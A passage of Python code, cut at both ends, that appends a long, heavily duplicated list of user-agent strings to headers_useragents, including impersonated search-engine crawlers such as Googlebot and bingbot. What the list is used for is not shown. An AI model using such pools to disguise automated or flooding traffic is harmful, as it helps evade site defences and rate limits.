Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 